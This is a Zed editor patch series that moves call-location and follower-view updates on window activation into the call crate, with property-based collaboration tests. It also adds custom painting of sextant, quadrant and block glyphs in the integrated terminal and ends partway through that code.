--- a/crates/call/src/call_impl/mod.rs
+++ b/crates/call/src/call_impl/mod.rs
@@ -35,13 +35,37 @@ pub fn init(client: Arc<Client>, user_store: Entity<UserStore>, cx: &mut App) {
             return;
         };
 
-        let active_call_handle = active_call_handle.clone();
-        cx.subscribe_in(
-            &cx.entity(),
-            window,
+        cx.observe_window_activation(window, {
+            let active_call_handle = active_call_handle.clone();
+            move |multi_workspace, window, cx| {
+                let workspace = multi_workspace.workspace().clone();
+                workspace.update(cx, |workspace, cx| {
+                    workspace.update_active_view_for_followers(window, cx)
+                });
+
+                if window.is_window_active() {
+                    let project = workspace.read(cx).project().clone();
+                    if let Ok(task) = active_call_handle.update(cx, |active_call, cx| {
+                        active_call.set_location(Some(&project), cx)
+                    }) {
+                        task.detach_and_log_err(cx);
+                    }
+                } else if cx.active_window().is_none() {
+                    if let Ok(task) = active_call_handle
+                        .update(cx, |active_call, cx| active_call.set_location(None, cx))
+                    {
+                        task.detach_and_log_err(cx);
+                    }
+                }
+            }
+        })
+        .detach();
+
+        cx.subscribe_in(&cx.entity(), window, {
+            let active_call_handle = active_call_handle.clone();
             move |multi_workspace, _, event: &MultiWorkspaceEvent, window, cx| {
-                if !matches!(event, MultiWorkspaceEvent::ActiveWorkspaceChanged { .. })
-                    && window.is_window_active()
+                if !(matches!(event, MultiWorkspaceEvent::ActiveWorkspaceChanged { .. })
+                    && window.is_window_active())
                 {
                     return;
                 }
@@ -52,8 +76,8 @@ pub fn init(client: Arc<Client>, user_store: Entity<UserStore>, cx: &mut App) {
                 }) {
                     task.detach_and_log_err(cx);
                 }
-            },
-        )
+            }
+        })
         .detach();
     })
     .detach();
diff --git a/crates/collab/Cargo.toml b/crates/collab/Cargo.toml
index 9ad0949e15580a..c21847d64bdcf3 100644
--- a/crates/collab/Cargo.toml
+++ b/crates/collab/Cargo.toml
@@ -128,6 +128,7 @@ sqlx = { version = "0.8", features = ["sqlite"] }
 task.workspace = true
 theme_settings = { workspace = true, features = ["test-support"] }
 theme.workspace = true
+title_bar = { workspace = true, features = ["test-support"] }
 
 unindent.workspace = true
 util.workspace = true
diff --git a/crates/collab/tests/integration/following_tests.rs b/crates/collab/tests/integration/following_tests.rs
index 2a80a6f0b19283..90370b55e6f738 100644
--- a/crates/collab/tests/integration/following_tests.rs
+++ b/crates/collab/tests/integration/following_tests.rs
@@ -1,12 +1,13 @@
 #![allow(clippy::reversed_empty_ranges)]
 use crate::TestServer;
-use call::ActiveCall;
+use call::{ActiveCall, Room};
 use client::ChannelId;
 use collab_ui::{
     channel_view::ChannelView,
     notifications::project_shared_notification::ProjectSharedNotification,
 };
 use editor::{Editor, MultiBuffer, MultiBufferOffset, PathKey, SelectionEffects};
+use gpui::proptest::prelude::*;
 use gpui::{
     Action, AppContext as _, BackgroundExecutor, BorrowAppContext, Entity, SharedString,
     TestAppContext, VisualContext, VisualTestContext, point,
@@ -2161,6 +2162,442 @@ async fn share_workspace(
         .await
 }
 
+#[derive(Clone, Copy, Debug)]
+enum LocationProject {
+    First,
+    Second,
+}
+
+#[derive(Clone, Copy, Debug)]
+enum LocationWindow {
+    First,
+    Second,
+}
+
+#[derive(Clone, Copy, Debug)]
+enum ParticipantLocationAction {
+    ActivateWorkspace {
+        window: LocationWindow,
+        project: LocationProject,
+    },
+    ActivateWindow(LocationWindow),
+    DeactivateActiveWindow,
+    ShareProject(LocationProject),
+    UnshareProject(LocationProject),
+}
+
+fn location_project() -> impl Strategy<Value = LocationProject> {
+    prop_oneof![Just(LocationProject::First), Just(LocationProject::Second),]
+}
+
+fn location_window() -> impl Strategy<Value = LocationWindow> {
+    prop_oneof![Just(LocationWindow::First), Just(LocationWindow::Second),]
+}
+
+fn participant_location_actions() -> impl Strategy<Value = Vec<ParticipantLocationAction>> {
+    gpui::proptest::collection::vec(
+        prop_oneof![
+            3 => (location_window(), location_project()).prop_map(|(window, project)| {
+                ParticipantLocationAction::ActivateWorkspace { window, project }
+            }),
+            2 => location_window().prop_map(ParticipantLocationAction::ActivateWindow),
+            1 => Just(ParticipantLocationAction::DeactivateActiveWindow),
+            2 => location_project().prop_map(ParticipantLocationAction::ShareProject),
+            2 => location_project().prop_map(ParticipantLocationAction::UnshareProject),
+        ],
+        0..8,
+    )
+    .prop_map(|actions| {
+        let mut scenario = vec![
+            ParticipantLocationAction::DeactivateActiveWindow,
+            ParticipantLocationAction::ActivateWindow(LocationWindow::First),
+            ParticipantLocationAction::ActivateWorkspace {
+                window: LocationWindow::Second,
+                project: LocationProject::Second,
+            },
+        ];
+        scenario.extend(actions);
+        scenario
+    })
+}
+
+fn participant_location(
+    room: &Entity<Room>,
+    user_id: u64,
+    cx: &TestAppContext,
+) -> ParticipantLocation {
+    room.read_with(cx, |room, _| {
+        room.remote_participants()
+            .get(&user_id)
+            .expect("participant should be present")
+            .location
+    })
+}
+
+#[gpui::property_test(config = ProptestConfig {
+    cases: 8,
+    ..Default::default()
+})]
+async fn test_active_multi_workspace_determines_participant_location(
+    cx_a: &mut TestAppContext,
+    cx_b: &mut TestAppContext,
+    #[strategy = participant_location_actions()] actions: Vec<ParticipantLocationAction>,
+) {
+    let executor = cx_a.executor();
+    let mut server = TestServer::start(executor.clone()).await;
+    let client_a = server.create_client(cx_a, "user_a").await;
+    let client_b = server.create_client(cx_b, "user_b").await;
+    cx_a.update(title_bar::init);
+
+    client_a.fs().insert_tree(path!("/first"), json!({})).await;
+    client_a.fs().insert_tree(path!("/second"), json!({})).await;
+    server
+        .create_room(&mut [(&client_a, cx_a), (&client_b, cx_b)])
+        .await;
+
+    let active_call_a = cx_a.read(ActiveCall::global);
+    let active_call_b = cx_b.read(ActiveCall::global);
+    let room_b = active_call_b.read_with(cx_b, |call, _| call.room().unwrap().clone());
+    let user_id_a = client_a.id();
+
+    let (first_project, _) = client_a.build_local_project(path!("/first"), cx_a).await;
+    let (second_project, _) = client_a.build_local_project(path!("/second"), cx_a).await;
+    let first_shared_project_id = active_call_a
+        .update(cx_a, |call, cx| {
+            call.share_project(first_project.clone(), cx)
+        })
+        .await
+        .unwrap();
+    let mut first_project_id = Some(first_shared_project_id);
+    let mut second_project_id = None;
+
+    let mut second_window_context = cx_a.clone();
+    let (first_window_first_workspace, cx_a) = client_a.build_workspace(&first_project, cx_a);
+    let first_multi_workspace = cx_a
+        .window_handle()
+        .downcast::<MultiWorkspace>()
+        .expect("window should contain a multi-workspace");
+    let app_state = client_a.app_state.clone();
+    let first_window_second_workspace = first_multi_workspace
+        .update(cx_a, |multi_workspace, window, cx| {
+            let workspace =
+                cx.new(|cx| Workspace::new(None, second_project.clone(), app_state, window, cx));
+            multi_workspace.activate(workspace.clone(), None, window, cx);
+            workspace
+        })
+        .unwrap();
+    first_multi_workspace
+        .update(cx_a, |multi_workspace, window, cx| {
+            multi_workspace.activate(first_window_first_workspace.clone(), None, window, cx)
+        })
+        .unwrap();
+
+    let (second_window_first_workspace, cx_a_second) =
+        client_a.build_workspace(&first_project, &mut second_window_context);
+    let second_multi_workspace = cx_a_second
+        .window_handle()
+        .downcast::<MultiWorkspace>()
+        .expect("window should contain a multi-workspace");
+    let app_state = client_a.app_state.clone();
+    let second_window_second_workspace = second_multi_workspace
+        .update(cx_a_second, |multi_workspace, window, cx| {
+            let workspace =
+                cx.new(|cx| Workspace::new(None, second_project.clone(), app_state, window, cx));
+            multi_workspace.activate(workspace.clone(), None, window, cx);
+            workspace
+        })
+        .unwrap();
+    second_multi_workspace
+        .update(cx_a_second, |multi_workspace, window, cx| {
+            multi_workspace.activate(second_window_first_workspace.clone(), None, window, cx)
+        })
+        .unwrap();
+
+    cx_a.update(|window, _| window.activate_window());
+    executor.run_until_parked();
+    active_call_a
+        .update(cx_a, |call, cx| call.set_location(Some(&first_project), cx))
+        .await
+        .unwrap();
+    executor.run_until_parked();
+    assert_eq!(
+        participant_location(&room_b, user_id_a, cx_b),
+        ParticipantLocation::SharedProject {
+            project_id: first_shared_project_id,
+        },
+        "test should start in the first window's first workspace"
+    );
+
+    let mut active_window = Some(LocationWindow::First);
+    let mut first_window_active_project = LocationProject::First;
+    let mut second_window_active_project = LocationProject::First;
+    let scenario = actions.clone();
+    for action in actions {
+        match action {
+            ParticipantLocationAction::ActivateWorkspace { window, project } => match window {
+                LocationWindow::First => {
+                    let workspace = match project {
+                        LocationProject::First => first_window_first_workspace.clone(),
+                        LocationProject::Second => first_window_second_workspace.clone(),
+                    };
+                    first_multi_workspace
+                        .update(cx_a, |multi_workspace, window, cx| {
+                            multi_workspace.activate(workspace, None, window, cx)
+                        })
+                        .unwrap();
+                    first_window_active_project = project;
+                }
+                LocationWindow::Second => {
+                    let workspace = match project {
+                        LocationProject::First => second_window_first_workspace.clone(),
+                        LocationProject::Second => second_window_second_workspace.clone(),
+                    };
+                    second_multi_workspace
+                        .update(cx_a_second, |multi_workspace, window, cx| {
+                            multi_workspace.activate(workspace, None, window, cx)
+                        })
+                        .unwrap();
+                    second_window_active_project = project;
+                }
+            },
+            ParticipantLocationAction::ActivateWindow(window) => {
+                match window {
+                    LocationWindow::First => {
+                        cx_a.update(|window, _| window.activate_window());
+                    }
+                    LocationWindow::Second => {
+                        cx_a_second.update(|window, _| window.activate_window());
+                    }
+                }
+                active_window = Some(window);
+            }
+            ParticipantLocationAction::DeactivateActiveWindow => {
+                if let Some(window) = active_window {
+                    match window {
+                        LocationWindow::First => cx_a.deactivate_window(),
+                        LocationWindow::Second => cx_a_second.deactivate_window(),
+                    }
+                    active_window = None;
+                }
+            }
+            ParticipantLocationAction::ShareProject(project) => {
+                let is_shared = match project {
+                    LocationProject::First => first_project_id.is_some(),
+                    LocationProject::Second => second_project_id.is_some(),
+                };
+                if !is_shared {
+                    let project_entity = match project {
+                        LocationProject::First => first_project.clone(),
+                        LocationProject::Second => second_project.clone(),
+                    };
+                    let project_id = active_call_a
+                        .update(cx_a, |call, cx| call.share_project(project_entity, cx))
+                        .await
+                        .unwrap();
+                    match project {
+                        LocationProject::First => first_project_id = Some(project_id),
+                        LocationProject::Second => second_project_id = Some(project_id),
+                    }
+                }
+            }
+            ParticipantLocationAction::UnshareProject(project) => {
+                let is_shared = match project {
+                    LocationProject::First => first_project_id.is_some(),
+                    LocationProject::Second => second_project_id.is_some(),
+                };
+                if is_shared {
+                    let project_entity = match project {
+                        LocationProject::First => first_project.clone(),
+                        LocationProject::Second => second_project.clone(),
+                    };
+                    active_call_a.update(cx_a, |call, cx| {
+                        call.unshare_project(project_entity, cx).unwrap()
+                    });
+                    match project {
+                        LocationProject::First => first_project_id = None,
+                        LocationProject::Second => second_project_id = None,
+                    }
+                }
+            }
+        }
+
+        executor.run_until_parked();
+        let expected_location = match active_window {
+            Some(active_window) => {
+                let active_project = match active_window {
+                    LocationWindow::First => first_window_active_project,
+                    LocationWindow::Second => second_window_active_project,
+                };
+                let active_project_id = match active_project {
+                    LocationProject::First => first_project_id,
+                    LocationProject::Second => second_project_id,
+                };
+                match active_project_id {
+                    Some(project_id) => ParticipantLocation::SharedProject { project_id },
+                    None => ParticipantLocation::UnsharedProject,
+                }
+            }
+            None => ParticipantLocation::External,
+        };
+        assert_eq!(
+            participant_location(&room_b, user_id_a, cx_b),
+            expected_location,
+            "participant location should match the active window's active workspace after {action:?}; scenario: {scenario:?}"
+        );
+    }
+}
+
+#[gpui::property_test(config = ProptestConfig {
+    cases: 8,
+    ..Default::default()
+})]
+async fn test_active_multi_workspace_determines_follower_view(
+    cx_a: &mut TestAppContext,
+    cx_b: &mut TestAppContext,
+) {
+    let executor = cx_a.executor();
+    let mut server = TestServer::start(executor.clone()).await;
+    let client_a = server.create_client(cx_a, "user_a").await;
+    let client_b = server.create_client(cx_b, "user_b").await;
+    cx_a.update(editor::init);
+    cx_b.update(editor::init);
+
+    client_a
+        .fs()
+        .insert_tree(
+            path!("/project"),
+            json!({
+                "first.txt": "first",
+                "second.txt": "second",
+            }),
+        )
+        .await;
+    server
+        .create_room(&mut [(&client_a, cx_a), (&client_b, cx_b)])
+        .await;
+
+    let active_call_a = cx_a.read(ActiveCall::global);
+    let active_call_b = cx_b.read(ActiveCall::global);
+    let (project_a, worktree_id) = client_a.build_local_project(path!("/project"), cx_a).await;
+    active_call_a
+        .update(cx_a, |call, cx| call.set_location(Some(&project_a), cx))
+        .await
+        .unwrap();
+    let project_id = active_call_a
+        .update(cx_a, |call, cx| call.share_project(project_a.clone(), cx))
+        .await
+        .unwrap();
+    let project_b = client_b.join_remote_project(project_id, cx_b).await;
+    active_call_b
+        .update(cx_b, |call, cx| call.set_location(Some(&project_b), cx))
+        .await
+        .unwrap();
+
+    let (first_workspace_a, cx_a) = client_a.build_workspace(&project_a, cx_a);
+    let (workspace_b, cx_b) = client_b.build_workspace(&project_b, cx_b);
+    first_workspace_a
+        .update_in(cx_a, |workspace, window, cx| {
+            workspace.open_path((worktree_id, rel_path("first.txt")), None, true, window, cx)
+        })
+        .await
+        .unwrap();
+    executor.run_until_parked();
+
+    let peer_id_a = client_a.peer_id().unwrap();
+    workspace_b
+        .update_in(cx_b, |workspace, window, cx| {
+            workspace.start_following(peer_id_a, window, cx).unwrap()
+        })
+        .await
+        .unwrap();
+    executor.run_until_parked();
+    workspace_b.update(cx_b, |workspace, cx| {
+        let active_item = workspace
+            .active_item(cx)
+            .expect("follower should have an active item");
+        assert_eq!(active_item.tab_content_text(0, cx), "first.txt");
+    });
+
+    let multi_workspace_a = cx_a
+        .window_handle()
+        .downcast::<MultiWorkspace>()
+        .expect("window should contain a multi-workspace");
+    let app_state = client_a.app_state.clone();
+    let second_workspace_a = multi_workspace_a
+        .update(cx_a, |multi_workspace, window, cx| {
+            let workspace =
+                cx.new(|cx| Workspace::new(None, project_a.clone(), app_state, window, cx));
+            multi_workspace.activate(workspace.clone(), None, window, cx);
+            workspace
+        })
+        .unwrap();
+    second_workspace_a
+        .update_in(cx_a, |workspace, window, cx| {
+            workspace.open_path(
+                (worktree_id, rel_path("second.txt")),
+                None,
+                true,
+                window,
+                cx,
+            )
+        })
+        .await
+        .unwrap();
+    executor.run_until_parked();
+    workspace_b.update(cx_b, |workspace, cx| {
+        let active_item = workspace
+            .active_item(cx)
+            .expect("follower should have an active item");
+        assert_eq!(active_item.tab_content_text(0, cx), "second.txt");
+    });
+    multi_workspace_a
+        .read_with(cx_a, |multi_workspace, _| {
+            assert!(multi_workspace.is_workspace_retained(&first_workspace_a));
+            assert!(multi_workspace.is_workspace_retained(&second_workspace_a));
+        })
+        .unwrap();
+
+    cx_a.deactivate_window();
+    multi_workspace_a
+        .update(cx_a, |multi_workspace, window, cx| {
+            multi_workspace.activate(first_workspace_a.clone(), None, window, cx)
+        })
+        .unwrap();
+    executor.run_until_parked();
+    workspace_b.update(cx_b, |workspace, cx| {
+        let active_item = workspace
+            .active_item(cx)
+            .expect("follower should retain its active item while the host is inactive");
+        assert_eq!(active_item.tab_content_text(0, cx), "second.txt");
+    });
+
+    cx_a.update(|window, _| window.activate_window());
+    executor.run_until_parked();
+    workspace_b.update(cx_b, |workspace, cx| {
+        assert!(workspace.is_being_followed(peer_id_a));
+        assert_eq!(
+            workspace.leader_for_pane(workspace.active_pane()),
+            Some(peer_id_a.into())
+        );
+        let active_item = workspace
+            .active_item(cx)
+            .expect("follower should have the active workspace's item");
+        assert_eq!(active_item.tab_content_text(0, cx), "first.txt");
+    });
+
+    workspace_b.update_in(cx_b, |workspace, window, cx| {
+        workspace.unfollow(peer_id_a, window, cx).unwrap();
+        workspace.close_all_items_and_panes(&Default::default(), window, cx);
+    });
+    first_workspace_a.update_in(cx_a, |workspace, window, cx| {
+        workspace.close_all_items_and_panes(&Default::default(), window, cx)
+    });
+    second_workspace_a.update_in(cx_a, |workspace, window, cx| {
+        workspace.close_all_items_and_panes(&Default::default(), window, cx)
+    });
+    executor.run_until_parked();
+}
+
 #[gpui::test]
 async fn test_following_after_replacement(cx_a: &mut TestAppContext, cx_b: &mut TestAppContext) {
     let (_server, client_a, client_b, channel) = TestServer::start2(cx_a, cx_b).await;
diff --git a/crates/title_bar/src/title_bar.rs b/crates/title_bar/src/title_bar.rs
index ea1087f910c73b..0d0ea93fdfe582 100644
--- a/crates/title_bar/src/title_bar.rs
+++ b/crates/title_bar/src/title_bar.rs
@@ -466,7 +466,6 @@ impl TitleBar {
         );
 
         subscriptions.push(cx.observe(&active_call, |this, _, cx| this.active_call_changed(cx)));
-        subscriptions.push(cx.observe_window_activation(window, Self::window_activation_changed));
         subscriptions.push(
             cx.subscribe(&git_store, move |_, _, event, cx| match event {
                 GitStoreEvent::ActiveRepositoryChanged(_)
@@ -1099,23 +1098,6 @@ impl TitleBar {
         )
     }
 
-    fn window_activation_changed(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        if window.is_window_active() {
-            ActiveCall::global(cx)
-                .update(cx, |call, cx| call.set_location(Some(&self.project), cx))
-                .detach_and_log_err(cx);
-        } else if cx.active_window().is_none() {
-            ActiveCall::global(cx)
-                .update(cx, |call, cx| call.set_location(None, cx))
-                .detach_and_log_err(cx);
-        }
-        self.workspace
-            .update(cx, |workspace, cx| {
-                workspace.update_active_view_for_followers(window, cx);
-            })
-            .ok();
-    }
-
     fn active_call_changed(&mut self, cx: &mut Context<Self>) {
         self.observe_diagnostics(cx);
         cx.notify();
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index 64daf89945f0fb..3678c4774b5d7b 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -6870,8 +6870,6 @@ impl Workspace {
 
     pub fn on_window_activation_changed(&mut self, window: &mut Window, cx: &mut Context<Self>) {
         if window.is_window_active() {
-            self.update_active_view_for_followers(window, cx);
-
             if let Some(database_id) = self.database_id {
                 let db = WorkspaceDb::global(cx);
                 cx.background_spawn(async move { db.update_timestamp(database_id).await })

From c2a610f7eb0aae50e2a0dd88972e7b6c9824bd7d Mon Sep 17 00:00:00 2001
From: Matthew Chisolm <39521893+mchisolm0@users.noreply.github.com>
Date: Sat, 25 Jul 2026 02:32:05 -0500
Subject: [PATCH 696/772] Add sextant glyph support to terminal rendering
 (#51072)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The Zed integrated terminal shows a broken QR code for apps with Expo
SDK 55. This PR custom-paints the terminal block and sextant glyphs used
for QR codes rather than relying on font glyphs.

| SDK 55 Before | SDK 55 After | SDK 55 in Ghostty |
| --- | --- | --- |
| <img width="581" height="536" alt="Zed Nightly"
src="https://github.com/user-attachments/assets/11054401-e947-4628-918a-0088042ccbf9"
/> | <img width="563" height="535" alt="Zed dev build"
src="https://github.com/user-attachments/assets/22e0bed3-9927-436d-8e0b-1ad0839f7bee"
/> | <img width="576" height="502" alt="Ghostty"
src="https://github.com/user-attachments/assets/c5f544d8-43e5-4dad-8bcd-8a36c401e9a7"
/> |

### Other notes
- Expo recently merged https://github.com/expo/expo/pull/46148, which
causes Expo SDK 56 to fall back to the old QR code behavior when used in
Zed. Once this PR merges, Expo can remove that fallback and use the
compact QR code path in Zed again for Expo SDK 56+.

| Current Fallback QR Code for SDK 54 and 56 | Fallback with this PR |
| -- | -- |
| <img width="744" height="684" alt="SCR-20260622-jwco"
src="https://github.com/user-attachments/assets/414896aa-52bc-4de7-a6b9-59cd5af08de0"
/> | <img width="616" height="752" alt="SCR-20260622-kfjh"
src="https://github.com/user-attachments/assets/accbef7a-3365-480f-add3-08910141afa5"
/> |

This PR now also fixes TUIs in the integrated terminal for users using
some fonts.
| OpenCode w/ Monaco before change | OpenCode w/ Monaco after change |
| --- | --- |
| <img width="1512" height="982" alt="image"
src="https://github.com/user-attachments/assets/a40f01a6-adf9-4e8b-909a-be53945eb813"
/> | <img width="1512" height="982" alt="image"
src="https://github.com/user-attachments/assets/b40bb22c-ef7e-466a-9bcf-46eb951087cd"
/> |

Finally, shade characters are now handled in the integrated terminal.

| btop with tty graph before change | btop with tty graph after change |
| --- | --- |
| <img width="1516" height="863" alt="SCR-20260724-irpr-2"
src="https://github.com/user-attachments/assets/afb77f01-6d3d-428a-b1be-7abb3d0e3d4d"
/> | <img width="1516" height="876" alt="SCR-20260724-ises-2"
src="https://github.com/user-attachments/assets/42262858-70da-4ba2-a5e6-96243fcfaadd"
/> |

#### This PR
- Adds custom painting for terminal bitmap glyphs used by QR renderers:
`█`, `▀`, `▄`, `▌`, `▐`, and U+1FB00..U+1FB3B sextants
- Adds tests for handling sextants, blocks/half-blocks, and adjacent
block merging

Closes #50158
Closes #58830

Before you mark this PR as ready for review, make sure that you have:
- [X] Added a solid test coverage and/or screenshots from doing manual
testing
- [X] Done a self-review taking into account security and performance
aspects
- [X] Aligned any UI changes with the [UI
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)

Release Notes:

- Fixed QR code rendering for Expo SDK 55 apps
- Fixed rendering TUIs in the integrated terminal for some users

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/repl/src/outputs/plain.rs             |  20 +-
 crates/terminal_view/src/terminal_element.rs | 516 ++++++++++++++++++-
 2 files changed, 525 insertions(+), 11 deletions(-)

diff --git a/crates/repl/src/outputs/plain.rs b/crates/repl/src/outputs/plain.rs
index c127d625e22580..f5fa70f3e2c696 100644
--- a/crates/repl/src/outputs/plain.rs
+++ b/crates/repl/src/outputs/plain.rs
@@ -362,15 +362,17 @@ impl Render for TerminalOutput {
 
         let text_style = text_style(window, cx);
         let minimum_contrast = TerminalSettings::get_global(cx).minimum_contrast;
-        let (rects, batched_text_runs) = terminal.read(cx).with_renderable_cells(|cells| {
-            TerminalElement::layout_grid(cells, 0, &text_style, None, minimum_contrast, cx)
-        });
+        let (rects, batched_text_runs, block_element_rects) =
+            terminal.read(cx).with_renderable_cells(|cells| {
+                TerminalElement::layout_grid(cells, 0, &text_style, None, minimum_contrast, cx)
+            });
 
         // lines are 0-indexed, so we must add 1 to get the number of lines
         let text_line_height = text_style.line_height_in_pixels(window.rem_size());
         let num_lines = batched_text_runs
             .iter()
             .map(|b| b.start_point.line())
+            .chain(block_element_rects.iter().map(|rect| rect.line()))
             .max()
             .unwrap_or(0)
             + 1;
@@ -414,6 +416,18 @@ impl Render for TerminalOutput {
                         cx,
                     );
                 }
+
+                for block_element_rect in block_element_rects {
+                    block_element_rect.paint(
+                        bounds.origin,
+                        &terminal::TerminalBounds {
+                            cell_width,
+                            line_height: text_line_height,
+                            bounds,
+                        },
+                        window,
+                    );
+                }
             },
         )
         // We must set the height explicitly for the editor block to size itself correctly
diff --git a/crates/terminal_view/src/terminal_element.rs b/crates/terminal_view/src/terminal_element.rs
index 5d94ff37aeb33a..f580e769dd1567 100644
--- a/crates/terminal_view/src/terminal_element.rs
+++ b/crates/terminal_view/src/terminal_element.rs
@@ -33,6 +33,7 @@ use crate::{BlockContext, BlockProperties, ContentMode, TerminalMode, TerminalVi
 pub struct LayoutState {
     hitbox: Hitbox,
     batched_text_runs: Vec<BatchedTextRun>,
+    block_element_rects: Vec<BlockElementLayoutRect>,
     rects: Vec<LayoutRect>,
     relative_highlighted_ranges: Vec<(Range, Hsla)>,
     cursor: Option<CursorLayout>,
@@ -177,6 +178,55 @@ impl BatchedTextRun {
     }
 }
 
+/// Block element glyphs are painted on a subcell grid: each terminal cell is
+/// divided into 8 columns (for eighth blocks) and 24 lines (LCM of the 8-way
+/// splits of eighth blocks and the 3-way splits of sextants).
+const BLOCK_SUBCELL_COLUMNS: i32 = 8;
+const BLOCK_SUBCELL_LINES: i32 = 24;
+
+#[derive(Clone, Debug)]
+pub struct BlockElementLayoutRect {
+    point: LayoutPoint,
+    num_of_columns: usize,
+    num_of_lines: usize,
+    color: Hsla,
+}
+
+impl BlockElementLayoutRect {
+    fn new(point: LayoutPoint, num_of_columns: usize, num_of_lines: usize, color: Hsla) -> Self {
+        Self {
+            point,
+            num_of_columns,
+            num_of_lines,
+            color,
+        }
+    }
+
+    pub fn paint(
+        &self,
+        origin: GpuiPoint<Pixels>,
+        dimensions: &TerminalBounds,
+        window: &mut Window,
+    ) {
+        let subcell_width = dimensions.cell_width / BLOCK_SUBCELL_COLUMNS as f32;
+        let subcell_height = dimensions.line_height / BLOCK_SUBCELL_LINES as f32;
+        let position = point(
+            origin.x + self.point.column as f32 * subcell_width,
+            origin.y + self.point.line as f32 * subcell_height,
+        );
+        let size = size(
+            subcell_width * self.num_of_columns as f32,
+            subcell_height * self.num_of_lines as f32,
+        );
+
+        window.paint_quad(fill(Bounds::new(position, size), self.color));
+    }
+
+    pub fn line(&self) -> i32 {
+        (self.point.line + self.num_of_lines as i32 - 1) / BLOCK_SUBCELL_LINES
+    }
+}
+
 #[derive(Clone, Debug, Default)]
 pub struct LayoutRect {
     point: LayoutPoint,
@@ -216,7 +266,7 @@ impl LayoutRect {
     }
 }
 
-/// Represents a rectangular region with a specific background color
+/// Represents a rectangular region with a specific color on a logical grid.
 #[derive(Debug, Clone)]
 struct BackgroundRegion {
     start_line: i32,
@@ -237,6 +287,22 @@ impl BackgroundRegion {
         }
     }
 
+    fn with_extents(
+        start_line: i32,
+        start_col: i32,
+        end_line: i32,
+        end_col: i32,
+        color: Hsla,
+    ) -> Self {
+        BackgroundRegion {
+            start_line,
+            start_col,
+            end_line,
+            end_col,
+            color,
+        }
+    }
+
     /// Check if this region can be merged with another region
     fn can_merge_with(&self, other: &BackgroundRegion) -> bool {
         if self.color != other.color {
@@ -290,7 +356,7 @@ impl TerminalLayoutCell for &IndexedCell {
     }
 }
 
-/// Merge background regions to minimize the number of rectangles
+/// Merge grid regions to minimize the number of rectangles.
 fn merge_background_regions(regions: Vec<BackgroundRegion>) -> Vec<BackgroundRegion> {
     if regions.is_empty() {
         return regions;
@@ -376,7 +442,11 @@ impl TerminalElement {
         hyperlink: Option<(HighlightStyle, &Range)>,
         minimum_contrast: f32,
         cx: &App,
-    ) -> (Vec<LayoutRect>, Vec<BatchedTextRun>) {
+    ) -> (
+        Vec<LayoutRect>,
+        Vec<BatchedTextRun>,
+        Vec<BlockElementLayoutRect>,
+    ) {
         let start_time = Instant::now();
         let theme = cx.theme();
 
@@ -386,6 +456,7 @@ impl TerminalElement {
         let estimated_regions = estimated_cells / 20; // Estimate ~20 cells per background region
 
         let mut batched_runs = Vec::with_capacity(estimated_runs);
+        let mut block_element_regions = Vec::new();
         let mut cell_count = 0;
 
         // Collect background regions for efficient merging
@@ -460,6 +531,18 @@ impl TerminalElement {
                         );
 
                         let cell_point = LayoutPoint::new(display_line, point.column as i32);
+                        if Self::collect_block_element_regions(
+                            cell_point,
+                            cell.character(),
+                            cell_style.color,
+                            &mut block_element_regions,
+                        ) {
+                            if let Some(batch) = current_batch.take() {
+                                batched_runs.push(batch);
+                            }
+                            continue;
+                        }
+
                         let zero_width_chars = cell.zerowidth();
 
                         // Try to batch with existing run
@@ -528,20 +611,24 @@ impl TerminalElement {
             }
         }
 
+        let block_element_region_count = block_element_regions.len();
+        let block_element_rects = Self::block_element_regions_to_rects(block_element_regions);
         let layout_time = start_time.elapsed();
 
         log::debug!(
             "Terminal layout_grid: {} cells processed, \
-            {} batched runs created, {} rects (from {} merged regions), \
+            {} batched runs created, {} block element rects (from {} regions), {} rects (from {} merged regions), \
             layout took {:?}",
             cell_count,
             batched_runs.len(),
+            block_element_rects.len(),
+            block_element_region_count,
             rects.len(),
             region_count,
             layout_time
         );
 
-        (rects, batched_runs)
+        (rects, batched_runs, block_element_rects)
     }
 
     /// Computes the cursor position based on the cursor point and terminal dimensions.
@@ -575,6 +662,7 @@ impl TerminalElement {
             0x2500..=0x257F // Box Drawing (└ ┐ ─ │ etc.)
             | 0x2580..=0x259F // Block Elements (▀ ▄ █ ░ ▒ ▓ etc.)
             | 0x25A0..=0x25FF // Geometric Shapes (■ ▶ ● etc. - includes triangular/circular separators)
+            | 0x1FB00..=0x1FB3B // Symbols for Legacy Computing sextants used by terminal QR renderers
 
             // Private Use Area - Powerline separator symbols only
             | 0xE0B0..=0xE0B7 // Powerline separators: triangles (E0B0-E0B3) and half circles (E0B4-E0B7)
@@ -595,7 +683,188 @@ impl TerminalElement {
         terminal_is_app_chosen_exact_color(*fg)
     }
 
-    /// Converts terminal cell styles to GPUI text styles and background color.
+    /// Returns the filled subcells of a sextant character as a bitmap, where
+    /// bit `row * 2 + column` is set when that 2x3 subcell is filled.
+    ///
+    /// U+1FB00..=U+1FB3B enumerate all 2x3 fill combinations except the four
+    /// that already exist as Block Elements (empty, `▌` = 0b010101,
+    /// `▐` = 0b101010, and `█` = 0b111111), hence the gap adjustments.
+    fn sextant_char_to_filled_bits(ch: char) -> Option<u8> {
+        let offset = (ch as u32).checked_sub(0x1FB00)?;
+        if offset > 0x3B {
+            return None;
+        }
+
+        Some((offset + 1 + u32::from(offset >= 20) + u32::from(offset >= 40)) as u8)
+    }
+
+    /// Returns the filled quadrants of a quadrant character as a bitmap, where
+    /// bit `row * 2 + column` is set when that 2x2 subcell is filled.
+    fn quadrant_char_to_filled_bits(ch: char) -> Option<u8> {
+        Some(match ch {
+            '▘' => 0b0001,
+            '▝' => 0b0010,
+            '▖' => 0b0100,
+            '▗' => 0b1000,
+            '▚' => 0b1001,
+            '▞' => 0b0110,
+            '▛' => 0b0111,
+            '▜' => 0b1011,
+            '▙' => 0b1101,
+            '▟' => 0b1110,
+            _ => return None,
+        })
+    }
+
+    /// Returns `(column, line, num_of_columns, num_of_lines)` in subcell units
+    /// for block element characters that consist of a single rectangle.
+    fn block_char_to_rect(ch: char) -> Option<(i32, i32, i32, i32)> {
+        let codepoint = ch as u32;
+        Some(match codepoint {
+            // ▀ upper half
+            0x2580 => (0, 0, 8, 12),
